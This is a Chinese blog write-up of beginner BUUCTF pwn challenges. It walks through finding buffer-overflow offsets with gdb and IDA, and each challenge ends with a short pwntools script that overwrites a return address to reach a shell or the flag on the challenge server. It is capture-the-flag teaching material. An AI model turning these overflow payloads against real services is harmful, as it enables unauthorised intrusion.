buuctf-pwn最基础题wp

test_your_nc

如题,nc连上就有flag了

要注意的就是端口号前面的冒号要改成空格

rip

用ubuntu的gdb打开
gdb ./pwn1

然后再输入checksec看看开了什么保护

基本都disabled,没事了

使用pattern create 150创建150个字符

输入r运行

这里出现了一个意外,run不了,提示:权限不够。给这个文件chmod 777一下就好了,这是buuctf上面的问题。

我们把刚刚创建的150复制到这里

然后我们输入x/wx $rsp查看此时rsp在哪

然后pattern offset 0x41412841查看偏移量

偏移量是23,就是23个a了,不需要加上64位的8或者32位的4

偏移量知道了,现在用ida64打开找/bin/sh

shift+F12

看到/bin/sh

在左边找到fun()函数,看一下地址,是0x401186

这样就可以写exp了,如果想用ida算偏移量也行,如下

看main函数

这里有gets函数

我们看上面s的定义[rbp-Fh]

F就是十六进制,就是10进制的15

加上64位的8

就是23,就是23个a

可以写exp了

这里题目出了一点问题

1
2
3
4
5
from pwn import *
p=remote('node4.buuoj.cn',29733)
payload='a'*23+p64(0x401186)
p.sendline(payload)
p.interactive()

本来这样就行了,但是还是获取不到shell,然后查了资料才知道,这个远程的程序和本地这个有点不一样

连接之后我们要先输入一段字符之后它才提示要我们输入

就是说我们输入aaaa之后,后面全部是它打印出来的,所以就是它的输入点提前了

解决办法就是ret+1

就把0x401186改成0x401187就可以了

这里发现代码只能写在一个py文件里面这样才能跑出来,试了pycharm不能跑,不知道为什么

这里我还尝试用mac跑,但是因为mac上面在python3上安装了pwntools,在python2很难装,所以就试一下在python3上跑这个代码

但是在python3中对字符串相加增加了要求,所以会在p64()这里报错,说类型不匹配

直接加str()强制类型转换还是不行,网上找到一种方法对它进行编码成功,代码如下

1
2
3
4
5
from pwn import *
p=remote('node4.buuoj.cn',29733)
payload='a'*23+p64(0x401187).decode("iso-8859-1")
p.sendline(payload)
p.interactive()

不过最好还是在ubuntu上面跑好一点,因为一般跑pwntools都是在python2上面的

warmup_csaw_2016

丢ida里面

看到binsh

地址是

看main函数

有gets,看到v5,然后在最前面的定义里看,[rbp-40h]

那就是0x40,就是4*16=64,加上8就是72

1
2
3
4
5
from pwn import*
p=remote('node4.buuoj.cn',26225)
payload = 'a' *72 + p64(0x40060D)
p.sendline(payload)
p.interactive()

这题用gdb看偏移量的话也很简单

用x/wx $rsp查看当前的rsp在哪,再查看偏移量,这里看到刚好是72

pwn1_sctf_2016

看main函数,找到了fgets()但是这里的s的空间是3c,而输入的只能有32,意思是我们输入32个字符串,根本无法溢出到3c就是3*16+12=60

(只接受输入 32 字节的内容后而栈的大小总共 0x3c 也就是 60 个字节,再加上 ebp 要填充 64 个字节才能覆盖返回地址)

那么怎么办,我们看下面的代码,这里有一个you和I

我们尝试运行一下程序看有什么名堂

我们发现输入I的时候会自动变成you

这样的话我们就可以做到输入少的内容,实际产生多的内容了,比如20个I就相当于20个you就是60个字符

然后我们找bin/sh

看地址

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn",26077)
addr=0x08048f0d
payload=20*'I'+'bbbb'+p32(addr)
p.sendline(payload)
p.interactive()

这里解释一下payload就是说先输入20个I,就会转成20个you就是60个字符了,然后加上32位程序的4个字符(checksec可以看到是32位程序),我们就随便加上4个b,这样就是64个字符覆盖到返回地址了,然后加上bin/sh就可以了

ciscn_2019_n_1

查到是64位程序,ida64打开

这里有flag

这个func()函数里面有问题

有gets()函数,下面是,如果v2=11.28125就会返回flag

这里的话有两种方法,第一张很简单就是根据gets()进行栈溢出,v1是30h就是48加上64位程序的8就是56,然后找cat /flag的地址

直接点进去到这里,但是这个地址是不对的,左边这个.rodata就很奇怪

后来发现直接把鼠标点在之前那个cat /flag上面就行了

下面这里就是地址了0x4006BE

或者右键Jump to xref…

本来的话点击ok就会跳转,但是不知道为什么跳不了

手动找一下

就在这里了也是0x4006BE这里左边的.text就对了

然后写exp

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn",28974)
addr=0x4006BE
payload="a"*56+p64(addr)
p.sendline(payload)
p.interactive()

(这题的偏移量也可以用gdb查出来,不演示了,前几题都演示过了)

接下来看第二种方法,思路是找到 11.28125 的值是多少,然后把 v2 给改掉,v2 在 rsp+2c 的地方,所以要填上 2c 的字节占空

http://lostphp.com/hexconvert/

用这个网站进行浮点数的进制转换

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn",28974)
payload = '1' * 0x2c + p64(0x41348000)
p.recv()
p.sendline(payload)
p.interactive()

jarvisoj_level0

用ida64打开

看上去很简单的hello world

看一下vulnerable_function()函数

是read()函数的栈溢出了

buf大小是0x80H,但是read可读取0x200

偏移量的话就是8*16+8=136

再看看/bin/sh在哪

/bin/sh没难度

是0x400596

如果用gdb查偏移量的话就是这样,也是136

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn",25492)
addr=0x400596
payload="a"*136+p64(addr)
p.sendline(payload)
p.interactive()


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!